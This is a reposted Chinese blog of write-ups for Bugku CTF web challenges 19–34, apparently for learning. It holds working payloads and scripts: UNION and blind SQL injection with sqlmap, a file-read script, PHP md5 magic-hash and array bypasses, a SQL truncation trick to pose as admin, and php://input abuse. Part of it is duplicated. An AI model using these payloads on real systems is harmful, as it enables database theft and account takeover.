bugkuweb题-ctf入门（18-34）

最新推荐文章于 2022-04-13 00:15:53 发布
最新推荐文章于 2022-04-13 00:15:53 发布
阅读量4.6k 收藏 2
点赞数
原文链接：https://www.cnblogs.com/cnnnnnn/p/11064062.html
版权

19、备份是个好习惯**

//转自

http://www.zjzhhb.com/archives/190

打开网页

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

尝试各种解密解码格式都没有效果，可以观察到整个字符串是d41d8cd98f00b204e9800998ecf8427e的两段重复，其实是MD5加密，最后再揭晓。

那现在怎么办呢，按照题目 备

份是个好习惯，是让我们寻找 .bak文件的，也就是说

存在某个文件的.bak文件可以访问，那就试试 http://120.24.86.145:8002/web16/index.php.bak，就拿到了提示文件，好确实有点让新手小白有点难以接受，

这里想推荐一航大佬的一款源码泄露工具，可以自动访问常见的CTF线索文件，如果返回正常说明文件存在。下载地址 https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true

运行效果：

img

img

我们可以看出有 index.php 和index.php.bak 的状态码为200 ，说明文件存在。

文件下载下来，这里用sublim打开：

include_once “flag.php”;
ini_set(“display_errors”, 0);//设置指定配置选项的值。这个选项会在脚本运行时保持新的值，并在脚本结束时恢复。 
$str = strstr($_SERVER[‘REQUEST_URI’], ‘?’);//strstr(str1,str2)  字符串str1中搜索str2，如果存在则返回str2及str2以后得剩余部分；
$str = substr($str,1);//php 得substr() 这里省略了第三个参数 长度，所以从第一个开始截取到最后；
$str = str_replace(‘key’,”,$str);// str_replace("world","Shanghai","Hello world!")  把hello world里面得world换成shanghai
parse_str($str);//把查询字符串解析到变量中：
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag.”取得flag”;
}
?>

整段代码的意思是将get的两个参数中的key替换为空（这里可以用kekeyy绕过），然后对key1,key2的值进行md5加密，并进行比较，

如果md5加密的值一样而未加密的值不同，就输出flag.

有两种方法绕过：

1，md5()函数无法处理数组，如果传入的为数组，会返回NULL，所以两个数组经过加密后得到的都是NULL,也就是相等的。

img

2，利用==比较漏洞

如果两个字符经MD5加密后的值为 0exxxxx形式，就会被认为是科学计数法，且表示的是0*10的xxxx次方，还是零，都是相等的。

下列的字符串的MD5值都是0e开头的：

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

最后看看d41d8cd98f00b204e9800998ecf8427e是什么意思，拿到MD5解密试一下，结果为NULL，也就是说这是NULL的MD5值，因为默认是没有传入key1和key2的，这两个值也就是null.

20、成绩单**

解法一：手工注入

输入1，2，3分别能查到1，2，3号学生的成绩

SQL注入应该没跑了

输入1’返回异常，输入1’–+返回异常，

输入1’ #或者1’-- +返回正常，看来过滤了–+

观察，表貌似有四列（名字，Math，English，Chinese），

输入1’ order by 4#返回正常，

输入1’ order by 5#返回异常，看来的确是4列

接下来就开始暴库名、表名、字段名

img

尝试联合查询，记得把前面的查询数据置空，写成id=-1即可，显示正常，说明确确实实存在这四列数据

我们先手遍历一遍 id=-1’ union select 1,2,3,4#

前面的截断掉，数字无所谓，大一点或者0也可

发现有四个表且都有回显

于是 就开始爆破吧

首先爆库名：通过id=-1’ union select 1,2,3,database()#得到数据库名字skctf_flag

img

然后爆表：通过使用 id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

img

得到表名：fl4g,sc

接下来我们就要暴字段了

通过id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# //这里需要用16进制绕过

img

得到字段skctf_flag

最后就是查询数据了，通过使用：id=-1’ union select 1,2,3,skctf_flag from fl4g#

img

----------------------------------------------------------

  • 解法二：用sqlmap
  • 输入1并进行抓包。
    这里写图片描述
  • 然后按右键，点击copy to file保存文件，这里我保存到了C盘 333.txt。
    这里写图片描述
  • 然后打开sqlmap开始爆库:sqlmap.py -r “C:\333.txt” -p id –current-db
    -r –> 加载一个文件
    -p –>指定参数
    –current-db –>获取当前数据库名称（current前有两个-）
    这里写图片描述
  • 可以看到它的数据库为 ‘skctf_flag’,接着就是爆表
    sqlmap.py -r “C:\333.txt” -p id -D skctf_flag - -tables
    -D –>指定数据库名称
    –tables –>列出数据库中的表(tables前有两个-)
    这里写图片描述
  • 可以看到当前数据库中有两个表，很明显，flag应该在fl4g表中，下面就是该爆出表中的字段了
    sqlmap.py -r “C:\333.txt” -p id -D skctf_flag -T fl4g –columns
    -T –>指定表名称
    –columns –>列出表中的字段
    这里写图片描述
  • fl4g表中有一个名为skctf_flag字段，最后列出字段信息就可以啦。
    sqlmap.py -r “c:\333.txt” -p id -D skctf_flag -T fl4g -C skctf_flag –dump
    –dump –>列出字段数据(dump前有两个-)
    这里写图片描述

------------------------------------------------------

\3. python sql盲注

通过构造id=1’ and 1=1#或返回成绩，id=1’ and 1=2#不会返回成绩。可以肯定这道题可以利用布尔盲注

脚本

# -*- coding:utf-8 -*-
import requests
import re
 
url = "http://120.24.86.145:8002/chengjidan/index.php"
 
base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prep1.prep2,prep3) 若表达式prep1为真，则返回prep2，若prep1为假，则返回prep3
#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=database() limit 0,1)>{num},{len},1),1,0)#"
#payload = "database()" #skctf_flag 
#payload = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)" #fl4g
#payload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_flag
payload = "(select skctf_flag from fl4g limit 0,1)"
 
information=""
 
for m in range(1,50):
    for i in range(32,129):
        post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
        r = requests.post(url,post_data)
        resultarr = re.findall(r"<td>(.+?)<td>",r.text)
        result = ''.join(resultarr)
        #print result 
        #print r.text
        #print post_data
        if '60' not in result:
            information += chr(i)
            break
    print information

payload从上倒下依次是为了得到数据库名字，flag表名，flag字段名，flag

截图

img

爆破数据库名

img

爆破表名

img

爆破flag字段名

img

爆破flag

-------------------------------------------------------

知识点：

MySQL中information_schema是什么

wordpress主机，博客主机

大家在安装或使用MYSQL时，会发现除了自己安装的数据库以外，还有一个information_schema数据库。 information_schema数据库是做什么用的呢，使用WordPress博客的朋友可能会想，是不是安装模板添加的数据库呀？看完本片文章 后，你就会对information_schema数据库有所了解。

information_schema数据库是MySQL自带的，它提供了访问数据库元数据的方式。什么是元数据呢？元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中，把 information_schema 看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中，有数个只读表。它们实际上是视图，而不是基本表，因此，你将无法看到与之相关的任何文件。

information_schema数据库表说明:

SCHEMATA表：提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表：提供了关于数据库中的表的信息（包括视图）。详细表述了某个表属于哪个schema，表类型，表引擎，创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表：提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

STATISTICS表：提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。

USER_PRIVILEGES（用户权限）表：给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。

SCHEMA_PRIVILEGES（方案权限）表：给出了关于方案（数据库）权限的信息。该信息来自mysql.db授权表。是非标准表。

TABLE_PRIVILEGES（表权限）表：给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。

COLUMN_PRIVILEGES（列权限）表：给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。

CHARACTER_SETS（字符集）表：提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

COLLATIONS表：提供了关于各字符集的对照信息。

COLLATION_CHARACTER_SET_APPLICABILITY表：指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。

TABLE_CONSTRAINTS表：描述了存在约束的表。以及表的约束类型。

KEY_COLUMN_USAGE表：描述了具有约束的键列。

ROUTINES表：提供了关于存储子程序（存储程序和函数）的信息。此时，ROUTINES表不包含自定义函数（UDF）。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。

VIEWS表：给出了关于数据库中的视图的信息。需要有show views权限，否则无法查看视图信息。

TRIGGERS表：提供了关于触发程序的信息。必须有super权限才能查看该表

21、秋名山老司机

22、速度要快**

这道题好坑的说……

一开始点开网页源代码，说让我post传一个margin过去，毫无思路……用burpsuite抓包看看

哇塞，在repeater里看到了什么！img

惊喜！显然是个base64编码，赶快去解码一下，得到了：img

咦好简单哦，半信半疑的把给的flag交了上去……Incorrect code……

（懵逼脸

虽然觉得不会这么简单……可是？？？？？？？

------------------------------------------------------------------------正确思路----------------------------------------------------------------------------

跑到网上看大佬们写的wp，知道repeater里的那个让我惊喜的flag值居然在变……它在变……go了几发终于死心，真的会变嘤；

无可奈何开始写脚本……

先贴出代码：

import requests
import base64
url="http://120.24.86.145:8002/web6/"
r=requests.session()
headers=r.get(url).headers#因为flag在消息头里
 
mid=base64.b64decode(headers['flag'])
mid=mid.decode()#为了下一步用split不报错，b64decode后操作的对象是byte类型的字符串，而split函数要用str类型的
 
flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值
data={'margin':flag}
print (r.post(url,data).text)#post方法传上去

从burpsuite中我们可以知道，我们看到的那个flag肯定是可以得到答案的，但是让人纠结的地方就是会变而已；

下一步我们也知道了这个flag进行了base64编码，只要进行解码就可以了；

根据这些开始写脚本，详见代码中的注释；

跑完就出真正的flag了

---------------------------------------------------------------------------------------------------------------------------------------我是分割线哇

注：

没有加mid=mid.decode()那一步时一直报错；

——是因为字符串有byte类型和str类型，有时操作数类型和操作类型不匹配就会报错……这时候就要把类型转换一下（无论是转换操作数还是操作都行，只要两者匹配

一个简单的方法：
1、byte型转str型

      mid=mid.decode()

2、str型转byte型

      mid=mid.encode()

23、cookies欺骗 **

解题思路：

打开链接是一串没有意义的字符串，查看源码没有发现什么

观察url ，发现 a2V5cy50eHQ= 是一个base64编码，解码后是keys.txt

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

尝试用 filename访问index.php（原url使用base64，这也将index.php进行编码），line参数应该是行数，试一下 line=2

出现一行代码，试一下line=3显示了不同的代码

一个个试太麻烦，上脚本将index.php的源码读取出来

import requests
a=30
for i in range(a):
    url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
    s=requests.get(url)
    print s.text

最后读取出来的源码

<?php
 
error_reporting(0);
 
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
 
$line=isset($_GET['line'])?intval($_GET['line']):0;
 
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
 
$file_list = array(
 
'0' =>'keys.txt',
 
'1' =>'index.php',
 
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){       //看这里
 
$file_list[2]='keys.php';
 
}
if(in_array($file, $file_list)){
 
$fa = file($file);
 
echo $fa[$line];
 
}
 
?>

分析源码，前面判断传参，后面判断cookie必须满足margin=margin才能访问keys.php，别忘了编码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WbnJSqgl-1590199404938)(C:\Users\19674\AppData\Roaming\Typora\typora-user-images\image-20200510170212328.png)]

执行后页面是空白的，emmm右键查看源码，flag出来啦
img

24、BUGku nerer give up**

查看源码

img

有个1p.html的提示

尝试

http://123.206.87.240:8006/test/hello.php?id=1p.html

http://123.206.87.240:8006/test/1p.html

。。。。

会自动跳转到bugku首页

直接抓包看

img

img

发现words后面是一串加密的代码

Url解密试试

img

又是加密的，base64解密试试

img

再url解密试试

img

if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}

代码分析一下

  1. 如果GET中没有id就header跳转
  2. 变量id等于get传入的id值
  3. 变量a等于get传入的a值
  4. 变量b等于get传入的b值
  5. 如果a中存在 . 就输出no no no no
  6. 变量data等于文件代码执行读取变量a文件
  7. 如果data等于bugku is a nice plateform!并且id等于0并且b的长度大于5并且111加上b的第一位是1114并且b的第一位不是4，就返回一个flag的文档文件

综合一下就GET传入id，a，b三个值让a的值所访问的文件中有bugku is a nice plateform!并且id等于0，b的第一位不是4，并且绕过eregi函数

。。。。

试试直接访问文件

img

得到flag

试试，居然是真的。。。

这里我尝试使用双url编码绕过eregi函数发现没用。。。

?id=0&?b=%25%33%34%25%33%34%25%33%34%25%33%34%25%33%34&?a=bugku is a nice plateform!

27、正则？字符？**

字符？正则？
      100

字符？正则？

http://120.24.86.145:8002/web10/

打开链接是一段代码

<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>

来分析分析

  1. preg_match （要搜索的模式，字符串，参数） 在字符串里搜索符合 要搜索的模式 的字符，并返回给参数。

举个栗子：

<?php
// 从URL中获取主机名称
preg_match('@^(?:http://)?([^/]+)@i',
    "http://www.runoob.com/index.html", $matches);
$host = $matches[1];       //www.runoob.com
 
// 获取主机名称的后面两部分
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>

返回结果：

domain name is: runoob.com

  1. trim(字符串,字符) 移除字符串两侧的空白字符或其他预定义字符。举个栗子：

    <?php
$str = "Hello World!";
echo $str . "<br>";
echo trim($str,"Hed!");
?>

执行结果：

Hello World!
llo Worl

  2. 接着来看正则表达式 （更多：https://blog.csdn.net/qq_26090065/article/details/81606045）

    /key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

.                                  匹配除 "\n" 之外的任何单个字符

*                                 匹配它前面的表达式0次或多次，等价于{0,}

{4,7}                           最少匹配 4 次且最多匹配 7 次，结合前面的 . 也就是匹配 4 到 7 个任意字符

\/                                匹配 / ，这里的 \ 是为了转义

[a-z]                           匹配所有小写字母

[:punct:]                     匹配任何标点符号

/i                                表示不分大小写

总体来说，就是通过 id 传参，并且要符合上面的正则表达式，key就会显示，构造payload如下：

http://120.24.86.145:8002/web10/?id=keykeyaaaakey:/a/keya:

key 粗来了

29、login1（SKCTF）

题目链接：http://123.206.31.85:49163/ [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gvg78vrQ-1590199404975)(http://image.mamicode.com/info/201901/20190101184015650037.png)] 开始打开这个对话框 下面标注SQL约束攻击 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6zuOupnj-1590199404979)(http://image.mamicode.com/info/201901/20190101184015693007.png)] 开始时我就随便注册了一个账号密码 想看看这个验证框的工作原理，没想到随后弹出了一个对话框。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vj6hy57W-1590199404982)(http://image.mamicode.com/info/201901/20190101184015758440.png)] 这样就理解了题目当中的提示，我们需要伪造一个用户名和密码 让后台以为是管理员在登录这个网站。 先来理解一下所谓的sql约束攻击 SQL约束攻击：在SQL中执行字符串处理时，字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”，对于绝大多数情况来说都是成立的（诸如WHERE子句中的字符串或INSERT语句中的字符串）例如以下语句的查询结果，与使用用户名“vampire”进行查询时的结果是一样的。

SELECT * FROM users WHERE username=‘vampire ‘;

但也存在异常情况，最好的例子就是LIKE子句了。注意，对尾部空白符的这种修剪操作，主要是在“字符串比较”期间进行的。这是因为，SQL会在内部使用空格来填充字符串，以便在比较之前使其它们的长度保持一致。

​ 在所有的INSERT查询中，SQL都会根据varchar(n)来限制字符串的最大长度。也就是说，如果字符串的长度大于“n”个字符的话，那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符，那么在插入字符串“vampire”时，实际上只能插入字符串的前5个字符，即“vampi”。 这个解释有点复杂，其实通俗来讲 就是加入一个字符串字数不够就用空格来凑，如果一个字符串中有空格，SQLl识别的时候也会把空格直接过滤掉。（有点像高中时候编作文哈。。） 因此这道题就可以解出来了，我们注册一个用户，用户名就是“admin ”（admin后面多加几个空格） 密码符合要求就好。 登录之后即出现flag。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ojBNDUKD-1590199404984)(http://image.mamicode.com/info/201901/20190101184015815082.png)] 约束攻击不算是一个罕见的攻击方式。最常用的方法就是用来伪造管理员的身份。

30、你从哪里来

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bHpORKY6-1590199404991)(C:\Users\19674\AppData\Roaming\Typora\typora-user-images\image-20200511195432330.png)]

31、md5 collision(NUPT_CTF)**

漏洞描述

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

PHP在处理哈希字符串时，会利用”!=”或”==”来对哈希值进行比较，它把每一个以”0E”开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以”0E”开头的，那么PHP将会认为他们相同，都是0。

攻击者可以利用这一漏洞，通过输入一个经过哈希后以”0E”开头的字符串，即会被PHP解释为0，如果数据库中存在这种哈希值以”0E”开头的密码的话，他就可以以这个用户的身份登录进去，尽管并没有真正的密码。

0e开头的md5和原值：
 
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

img

————————————————
版权声明：本文为CSDN博主「可乐'」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/qq_30464257/article/details/81432446

32、程序员本地网站

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PRuZcN4W-1590199404993)(C:\Users\19674\AppData\Roaming\Typora\typora-user-images\image-20200511200817070.png)]

33、各种绕过**

 <?php
highlight_file('flag.php');//对文件进行语法高亮显示。
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?>

进去看见是代码审计

我们发现只要使uname的sha1和值与passwd的sha1的值相等即可，但是同时他们两个的值又不能相等
eeeeeemmmmm。。。这似乎是很熟悉的套路了吧 只要构造数组就可以了 所以

img

然后我们就得到flag了

34、web8**

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

可以看出这是一道代码审计的题目。

方法一：

先根据 题目提示 txt??? 访问 flag.txt，发现其中内容 flags

img

a c 是 指 f l a g . t x t 中 的 内 容 f l a g s ， ac是指flag.txt中的内容flags， ac是指flag.txt中的内容flags，fn指的是flag.txt这个文件

Payload：

?ac=flags&fn=flag.txt

方法二：

想得到flag，要达到下面三个条件：

就要让ac的值不为空
f的值从文件fn中获取
ac的值要恒等于f的值

Payload：

?ac=123&fn=php://input
[POST]123

img

这就是本题的两种方法。

ity/Center)

然后我们就得到flag了

34、web8**

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

可以看出这是一道代码审计的题目。

方法一：

先根据 题目提示 txt??? 访问 flag.txt，发现其中内容 flags

img

a c 是 指 f l a g . t x t 中 的 内 容 f l a g s ， ac是指flag.txt中的内容flags， ac是指flag.txt中的内容flags，fn指的是flag.txt这个文件

Payload：

?ac=flags&fn=flag.txt

方法二：

想得到flag，要达到下面三个条件：

就要让ac的值不为空
f的值从文件fn中获取
ac的值要恒等于f的值

Payload：

?ac=123&fn=php://input
[POST]123

img

这就是本题的两种方法。

memery_key
关注
ubunut中MD5校验命令之md5sum
qq_42595610的博客
11-27 2144
是一个用于计算文件 MD5 哈希值的命令，通俗来说就是对该压缩包进行MD5校验，验证网络传输文档的完整性。最后的结果一般都是由32位十六进制构成：d41d8cd98f00b204e9800998ecf8427e。再与发送机上该压缩包的MD5校验码相比较，如果一样，则说明该压缩包传输完成，没有被篡改或者传输丢失。其中，[选项] 是可选参数，用于控制输出格式和行为；[文件名] 是要计算 MD5 哈希值的文件。-c：检查文件的 MD5 哈希值是否与给定的哈希值匹配。-r：递归处理目录及其子目录中的所有文件。
BugkuCTF-Reverse题入门逆向多解法
am_03的博客
08-28 586
补充：IDA里面十六进制转字符的快捷键：R 方法一 第一步PEID,这里可以看出程序是32位的 查壳：（无壳） 拖进IDA32分析： 先查看伪码：F5 找到main函数 发现有许多 mov 指令，66H 是 ‘f’，6CH 是 ‘l’，推测这就是 flag 的 ASCII 码值。 得到flag：flag{Re_1s_S0_C0OL} 方法二 也可以用动态调试的方法。 动态调试这就需要用到 OD。先下一个断点，然后单步运行，看看栈里的变化。 例如，我就找个 0x00401475 的地址。 在 OD
bugku之备份是个好习惯
Seaern的博客
07-24 2477
题目地址 页面提示 d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e 是由d41d8cd98f00b204e9800998ecf8427e重复组成，解密后得出的值是null 题目提示是备份 扫后台发现： 大佬的工具链接 下载备份文件： include_once "flag.php"; 使用include_...
数据加密 ---- MD5 加密
私房菜
11-13 3590
1. 前言 之前几篇博文详细的介绍了异或加密、AES加密、DES 加密、3DES加密，对于这几种双向加密的算法也有了更多的了解，为了跟后面另一种算法RSA 更好的结合使用，先来介绍一下单向加密中的几个算法，例如MD5、SHA-1、SHA-224、SHA-256等，本文主要分析MD5 算法。   其他算法可以看：数据加密 ---- 总篇   2. 简介 MD5消息摘要算法（英语：MD5 ...
linux shell脚本攻略 第二章 命令之乐 cat，find，tr，sort，uniq，split等
IanWatson的博客
04-12 926
介绍常用命令grep，sed，find等命令。 1. 使用cat进行拼接 cat本身表示拼接（concatnate）。 将标准输入与文件内容拼接 Ian>ls |cat - out.txt func.sh out.txt prp.sh script.sh 1 func.sh 2 out.txt 3 script.sh 摆脱多余的空白行：cat -...
安全作业3月31日
Whalawhala的博客
04-13 4694
** 根据课本3.7进行实验，完成OpenSSL编译与命令实验 ** 3.7.1在命令行下使用OpenSSL openssl -help 实例1. 密钥在文件key.txt中，用des3对文件test.data进行加密解密，并验证其正确性。 openssl enc -e -des3 -in test.data -out test.3des -kfile key.txt openssl enc -d -des3 -in test.3des -out test.dddd -kfile key.txt o
006-CTF web题型总结-第六课 CTF WEB实战练习(二) .pdf
07-09
7. **bugku-ctf 第七题：web8（txt？？？？）** 从题目名称推测，这可能是关于文件类型判断的错误，参赛者需要利用这一点来访问或上传非预期格式的文件，可能涉及到目录遍历或文件上传漏洞。 **入门第二部分** 1....
CTF之WEB（BUGku Ctf 1-7 题解）
RBMan的博客
12-18 1496
这几天做的一些CTF之WEB方向的题，才入门所以会写一些心得。1~7题的心得，不喜勿喷。我会坚持下去的。 一.post和get请求方式的不同 1.get：较为简单，如果叫你输入数值的话，直接在URL后面加就行了。格式如下： www.123123123.com/?abc=ABC(所需要提交的参数) 2.post：需要使用火狐上的插件HackBar,先打开该插件，再打开网页，然后URL就会出现在上面的大框中。图片如下： 然后，在下面的框中输入需要的提交的参数，就可以了。 二.关于get请求方式中遇到问题：
CTF-WEB入门DOC-2019版1
08-03
【CTF-WEB入门DOC-2019版1】主要涵盖了CTF竞赛与Web安全相关的基础知识和进阶技能，适合对网络安全有兴趣，尤其是希望在Web安全领域发展的人群。以下将详细介绍其中的关键知识点： 一、CTF简介及目标： CTF...
BugkuCTF-WEB-第43题到第52题
Alita_lxz的博客
11-04 1236
BugkuCTF-WEB-第43题到第52题
2021-10-13 buuctf EasySQL
shallowskyandsea的博客
10-13 1177
EasySQL 先注册登录 注册页面的username和Email有过滤，先fuzz一下 反斜杠没被过滤用 \ 做用户名密码和邮箱注册一下并登录 登录后没发现啥有用的 看到了一个修改密码 点击submit 发现是因为用户名不合理导致的报错 由'"\" and pwd='d41d8cd98f00b204e9800998ecf8427e'' 可猜测原sql大概为 select * from user where username='"\" and p...
空密码的MD5字串
weixin_34342578的博客
01-22 904
D41D8CD98F00B204E9800998ECF8427E 转载于:https://blog.51cto.com/iderun/1124218
第五周-day22-权限体系补充和用户管理的知识
linux丶晨星
04-24 327
补充、权限如何让系统安全 一、单台服务器 1.网站运行的时候使用www(虚拟用户) 2.网站站点目录/app/blog 文件 644 root root 目录 755 root root 3.用户上传的目录 如/uploads 文件 644 www www 目录 755 www www 4.程序代码限制 指定类型(图片或压缩包) 5.上传禁止运行(NFS) 二、如何让系统安全...
Bugku-CTF （web 持续更新） ——新手ctf记录
xy7850的博客
09-22 2432
目录 1、滑稽 2、计算器 3、GET 4、POST GET和POST的区别： 5、矛盾 6、alert 7、你必须让他停下 1、滑稽 进入场景，发现一堆滑稽表情在飞 直接F12 2、计算器 进入场景，一道数学题，但是只能输入一个数字 F12，可以看到输入框的标签的maxlenth=1 改成2，就可以输入两个数字了，验证就得到了flag 3、GET 进入场景看到php源码，以get请求传入what=flag get，通过拼接url进行传递参
web测试方法总结
许西城的博客
11-09 3594
自己在去年曾经在网上找了一些测试的方法，然后经过自己的整理从而整理出来这么一份web测试方法，应该算是比较全面的吧，现在分享一下，希望大家指正。 目录1. 登录测试 2. 注册测试 3. 导航条测试 4. 链接测试 5. 快捷键测试 6. 按钮测试 7. 输入框测试 8. 下拉框测试 9. 单选框测试 10. 复选框测试 11. 日期控件测试 12. 查询结果列表测试 13. 搜索功能测试 14.
linux sh脚本curl结果存入变量,linux - shell脚本中如何获取md5值并curl这个值
weixin_26800111的博客
05-02 738
黄舟2017-04-17 14:38:472楼问题一：没遇到md5sum赋值到变量和直接echo的值是不一致的的情况[root@localhost ~]# md5sum email.txt6b15e74bf464475b4e18a9aa208b10d8 email.txt[root@localhost ~]# cat email.txti@catscarlet.com[root@localhos...
高德地图 Service 创建服务 USERKEY_PLAT_NOMATCH
dfgwang1202的博客
12-11 1162
在使用高的地图 创建服务的时候 { "errmsg": "USERKEY_PLAT_NOMATCH", "errcode": 10009, "sec_code_debug": "d41d8cd98f00b204e9800998ecf841327e", "key": "8778a3e9880f7c0a70947a36b9588327f", "sec_code": "1874d6c1e25...
md5加密原理 MD5简介
12-28 1148
MD5简介 MD5的全称是Message-Digest Algorithm 5，在90年代初由MIT的计算机科学实验室和RSA Data Security Inc发明，经MD2、MD3和MD4发展而来。 Message-Digest泛指字节串(Message)的Hash变换，就是把一个任意长度的字节串变换成一定长的大整数。请注意我使用了“字节串”而不是“字符串”这个词，是因为
bugku ctf sqli-0x1题解
最新发布
03-23
bugku ctf是一个CTF（Capture The Flag）比赛平台，提供各种类型的安全挑战题目供参赛者解答。sqli-0x1是其中一个SQL注入题目，下面是该题目的解题思路： 1. 题目描述：sqli-0x1是一个简单的SQL注入题目，要求获取...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值